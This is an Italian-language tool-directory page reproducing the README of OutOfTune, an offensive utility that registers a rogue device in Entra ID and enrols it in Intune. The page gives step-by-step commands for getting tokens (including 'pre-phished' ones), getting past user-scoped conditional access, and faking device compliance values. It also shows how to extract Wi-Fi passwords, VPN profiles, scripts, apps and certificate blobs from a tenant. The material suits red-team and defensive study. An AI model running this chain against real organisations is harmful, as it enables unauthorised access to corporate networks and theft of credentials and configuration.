Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
OutOfTune — Strumento di enrollment per dispositivi non autorizzati per Entra ID e Intune MDM. Automatizza il join del dispositivo, l'acquisizione del token, l'enrollment MDM e il checkin OMA-DM per estrarre policy, credenziali Wi-Fi, script e app bypassando l'accesso condizionale. | Kitploit
Strumenti/GitHubGitHub/stra-x/outoftune
Autenticazione e AutorizzazioneEscalation di PrivilegiAnalisi delle VulnerabilitàMovimento LateraleAudit di ConfigurazioneRaccolta InformazioniPost-ExploitPenetration TestingSicurezza CloudSicurezza MobileGestione Identità e Accessi (IAM)
3134 mesi faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Red Teaming
GitHubstra-x/outoftune

OutOfTune

Strumento di enrollment per dispositivi non autorizzati per Entra ID e Intune MDM. Automatizza il join del dispositivo, l'acquisizione del token, l'enrollment MDM e il checkin OMA-DM per estrarre policy, credenziali Wi-Fi, script e app bypassando l'accesso condizionale.

Vedi Repository

OutOfTune

Ispirato dall'originale Pytune, OutOfTune registra un dispositivo rogue in Entra ID, lo iscrive a Intune MDM e verifica lo stato di conformità risultante.

Supporta solo dispositivi Windows poiché era il mio obiettivo principale, potrebbe aggiungerne altri in futuro.

Blog di accompagnamento:

  • https://stra-x.github.io/Re-Engineering-Pytune-Rogue-devices-in-the-age-of-conditional-access/
  • https://stra-x.github.io/Re-Engineering-Pytune-Rogue-devices-in-the-age-of-conditional-access-pt-2/

Requisiti

root@kitploit:~
pip install -r requirements.txt

Come funziona

La catena viene eseguita in fasi, ciascuna basata sullo stato salvato in chain_state.json.

root@kitploit:~
drs-token  ->  device-join  ->  device-token  ->  mdm-enroll  ->  mdm-checkin
  1. drs-token - ottieni un token di accesso DRS (ROPC o pre-phished)
  2. device-join - registra un nuovo oggetto dispositivo in Entra ID, ottieni un certificato dispositivo
  3. device-token - autentica come device principal, ottieni un token di iscrizione Intune
  4. mdm-enroll - SOAP discovery + WS-Trust enrollment, ottieni un certificato client MDM
  5. mdm-checkin - OMA-DM SyncML checkin, recupera i criteri, opzionalmente imposta un utente primario

Utilizzo

1. Ottieni un token DRS

ROPC (credenziali note):

root@kitploit:~
python OutOfTune.py drs-token -u [email protected] -p Password1!

Token ottenuto in precedenza:

root@kitploit:~
python OutOfTune.py drs-token -u [email protected] -t <drs_access_token>

2. Unisci un dispositivo a Entra ID

root@kitploit:~
python OutOfTune.py device-join
python OutOfTune.py device-join -n CORP-LAPTOP-01

Output <DEVICENAME>.pfx - il certificato del dispositivo. La password è password.


3. Ottieni un token del device principal

root@kitploit:~
python OutOfTune.py device-token
python OutOfTune.py device-token --cert CORP-LAPTOP-01.pfx

Autentica presso AAD come oggetto dispositivo (non come utente). Elude i criteri di accesso condizionale con ambito utente.


4. Registrazione in Intune MDM

root@kitploit:~
python OutOfTune.py mdm-enroll
python OutOfTune.py mdm-enroll --profile profiles/dell_win11_ent.json

Esegue il SOAP discovery contro l'endpoint MDM, quindi invia una richiesta di enrollment WS-Trust PKCS10. Output <DEVICENAME>_mdm.pfx.

Usa --profile per falsificare gli attributi hardware/OS del dispositivo inviati a Intune (vedi Device Profiles).


5. Checkin OMA-DM

root@kitploit:~
python OutOfTune.py mdm-checkin
python OutOfTune.py mdm-checkin -r <refresh_token>
python OutOfTune.py mdm-checkin --cert CORP-LAPTOP-01_mdm.pfx
python OutOfTune.py mdm-checkin -O ./output
python OutOfTune.py mdm-checkin -O ./output --save-syncml ./output/raw

Esegue il loop OMA-DM SyncML contro r.manage.microsoft.com. Intune invierà profili di configurazione, assegnazioni di app e qualsiasi altro criterio destinato al dispositivo. Al termine del loop, le informazioni utili vengono automaticamente estratte e visualizzate.

Se viene fornito -r, il refresh token viene scambiato per un token di accesso manage.microsoft.com e inviato come Authorization: Bearer in ogni richiesta SyncML. Intune legge l'UPN da questo token e lo imposta come utente primario del dispositivo, causando l'associazione dei criteri di conformità con ambito utente. È necessario eseguire una sola volta con -r per assegnare un utente; tutti i checkin successivi possono essere eseguiti senza refresh token.

Senza -r il dispositivo non avrà un utente primario.

Dopo questo checkin iniziale, se non si effettua un altro checkin per un periodo prolungato (di solito 5-7 giorni), il dispositivo potrebbe risultare non conforme a causa del criterio predefinito per "Is Active". A seconda della configurazione di Intune, il dispositivo potrebbe entrare in un periodo di tolleranza prima di essere contrassegnato come non conforme. Se ciò accade, esegui di nuovo mdm-checkin. Se hai precedentemente utilizzato un refresh token per assegnare un utente primario, non è necessario inviarlo di nuovo poiché l'utente primario è ora memorizzato nel backend di Intune.

Flag

Informazioni utili estratte


Analizza i round SyncML salvati

Ri-parsa i round XML raw salvati con --save-syncml senza eseguire un checkin live.

root@kitploit:~
python OutOfTune.py parse-checkin --dir ./output/raw -O ./output2
python OutOfTune.py parse-checkin --file ./output/raw/round_001.xml -O ./output2

Verifica lo stato di conformità

root@kitploit:~
python OutOfTune.py check -u [email protected] -r <refresh_token>
python OutOfTune.py check -u [email protected] -p Password1!

Conia un PRT dal certificato del dispositivo, lo scambia per un token IWService e interroga IWService/Devices per lo stato di conformità del dispositivo e le eventuali regole di non conformità.

Usa -r con un refresh token di sessione MFA se il tenant CA richiede MFA per la risorsa di enrollment.


Scarica app e script

Recupera le app Win32 e gli script PowerShell assegnati al dispositivo tramite IME SideCarGateway. Utilizza solo il certificato client MDM — non è richiesto alcun token utente.

root@kitploit:~
python OutOfTune.py download-apps
python OutOfTune.py download-apps --cert CORP-LAPTOP-01_mdm.pfx
  • Gli script PowerShell vengono salvati in scripts/<PolicyId>.ps1
  • Le app Win32 vengono scaricate dal CDN, decifrate ed estratte in apps/<AppName>/

Scarica script di remediation

Recupera gli script di remediation proattivi (coppie di rilevamento + remediation) assegnati al dispositivo.

root@kitploit:~
python OutOfTune.py get-remediations
python OutOfTune.py get-remediations --cert CORP-LAPTOP-01_mdm.pfx

Ogni criterio viene salvato in remediations/<PolicyId>/ contenente:

  • detection.ps1 — lo script di rilevamento
  • remediation.ps1 — lo script di remediation
  • params.json — l'ID del criterio e eventuali parametri dello script

Pulizia

Se la rimozione del dispositivo da Intune fallisce, eliminalo da Entra. Il dispositivo entrerà quindi in un periodo di tolleranza in Intune e verrà automaticamente rimosso in un secondo momento.

Rimuovi il dispositivo da Intune:

root@kitploit:~
python OutOfTune.py retire-intune -u [email protected] -r <refresh_token>

Rimuovi l'oggetto dispositivo da Entra ID:

root@kitploit:~
python OutOfTune.py entra-delete

Controlla lo stato della catena

root@kitploit:~
python OutOfTune.py status

Profili del Dispositivo

Gli attributi del dispositivo inviati a Intune durante l'enrollment e il checkin sono completamente falsificabili tramite un profilo JSON. Questo include identificatori hardware, versione del sistema operativo, produttore e tutti i valori CSP di conformità auto-dichiarati (BitLocker, Firewall, Defender, TPM, Secure Boot).

root@kitploit:~
python OutOfTune.py mdm-enroll --profile profiles/dell_win11_ent.json
python OutOfTune.py mdm-checkin   # il profilo viene salvato nello stato e riutilizzato automaticamente

Profili inclusi

FileDispositivo
profiles/default.jsonValori predefiniti (VMware / Win10 Enterprise)
profiles/dell_win11_ent.jsonDell Latitude 5540 / Windows 11 Enterprise 23H2

Campi del profilo

Tutti i valori CSP di DeviceStatus sono auto-dichiarati e considerati attendibili da Intune senza verifica indipendente. I controlli di conformità attestati HAS (BitLockerEnabled, SecureBootEnabled tramite CSP HealthAttestation) richiedono un TPM reale e non possono essere falsificati in questo modo.


Flag globali

root@kitploit:~
--debug          log HTTP + token dettagliati
--proxy <url>    instrada il traffico attraverso un proxy (es. http://127.0.0.1:8080)

Questi vanno prima del comando:

root@kitploit:~
python OutOfTune.py --debug device-token
python OutOfTune.py --proxy http://127.0.0.1:8080 mdm-checkin

Sovrascrittura dei certificati

Se hai certificati da un'esecuzione precedente o vuoi utilizzare file PFX specifici:

root@kitploit:~
python OutOfTune.py device-token      --cert path/to/device.pfx
python OutOfTune.py mdm-enroll        --cert path/to/device.pfx
python OutOfTune.py mdm-checkin       --cert path/to/mdm.pfx
python OutOfTune.py check             --cert path/to/device.pfx
python OutOfTune.py download-apps     --cert path/to/mdm.pfx
python OutOfTune.py get-remediations  --cert path/to/mdm.pfx

File di stato

Tutti gli output delle fasi vengono salvati in chain_state.json nella directory di lavoro. Eliminalo per ricominciare da capo. Usa status per ispezionare lo stato corrente senza eseguire nulla. Se hai a che fare con più dispositivi, assicurati che ciascuno abbia il proprio file di stato. Il file di stato predefinito può essere modificato all'inizio dello script per puntare al dispositivo con cui stai facendo esperimenti. Prestare attenzione alle opzioni di sovrascrittura dei certificati, sono principalmente per scopi di debug.

Crediti

Un enorme ringraziamento va a @temp43487580 che ha creato l'originale Pytune e la cui ricerca originale ha reso possibile tutto ciò

  • https://i.blackhat.com/EU-24/Presentations/EU-24-Chudo-Unveiling-the-Power-of-Intune-Leveraging-Intune-for-Breaking-Into-Your-Cloud-and-On-Premise.pdf
  • https://temp43487580.github.io/intune/bypass-enrollment-restictions-to-break-byod-barriers-in-intune/
  • https://github.com/secureworks/pytune
Scarica lo strumento
FlagDescrizione
--cert FILEPFX MDM da utilizzare — il nome del dispositivo viene derivato automaticamente dal nome del file
-r RTRefresh token utente — imposta l'utente primario (necessario solo una volta)
-O DIRSalva gli artefatti estratti in DIR (wifi/, vpn/, scripts/, certs/, add_values.json, policy_values.json)
--save-syncml DIRSalva il SyncML XML raw per ogni round in DIR per un successivo re-parsing offline
-o FILEScrivi l'output completo della console in FILE
CategoriaSalvato inNote
Profili Wi-Fiwifi/<SSID>.xml + _psk.txtPSK in testo semplice estratto se presente
Profili VPNvpn/<name>.xmlProfileXML completo
Payload di certificaticerts/cert_N.b64Blob PFX crittografati (raw, non ancora decifrati)
SCEP challengesmostratoNome del modello CA, URL della challenge
Scriptscripts/<name>.ps1Script PowerShell inviati tramite OMA-DM
URL di download MSImostratoLink CDN diretti per app LOB
Blob ODJodj_blob.b64 + odj_strings.txtOffline Domain Join – stringhe leggibili estratte
Valori aggiuntiadd_values.jsonTutti gli altri comandi Add (certificati CA radice, onboarding MDE, configurazione criteri)
Valori sostituitipolicy_values.jsonValori del CSP Criteri impostati da Intune
CampoCSPNote
os_versionDevDetail/SwVControlli di conformità versione OS min/max
os_edition_syncmlWindowsLicensing/Edition4 = Enterprise, 48 = Pro
manufacturerDevInfo/ManAlcuni criteri consentono elenchi di produttori
mac_addressSOAP AdditionalContext/MACTutti zeri è un indicatore evidente
hw_dev_id_enrollSOAP AdditionalContext/HWDevID64 caratteri esadecimali
bitlocker_statusBitLocker/Status/DeviceEncryptionStatus2 = crittografato (auto-dichiarato)
encryption_complianceDeviceStatus/Compliance/EncryptionCompliance1 = conforme (auto-dichiarato)
firewall_statusDeviceStatus/Firewall/Status0 = attivo (auto-dichiarato)
secure_boot_stateDeviceStatus/SecureBootState1 = abilitato (auto-dichiarato, non attestato HAS)
tpm_versionDeviceStatus/TPM/SpecificationVersionNessuna prova crittografica
defender_enabledDefender/Health/DefenderEnabledtrue = in esecuzione
defender_versionDefender/Health/DefenderVersionAlcuni criteri impongono una versione minima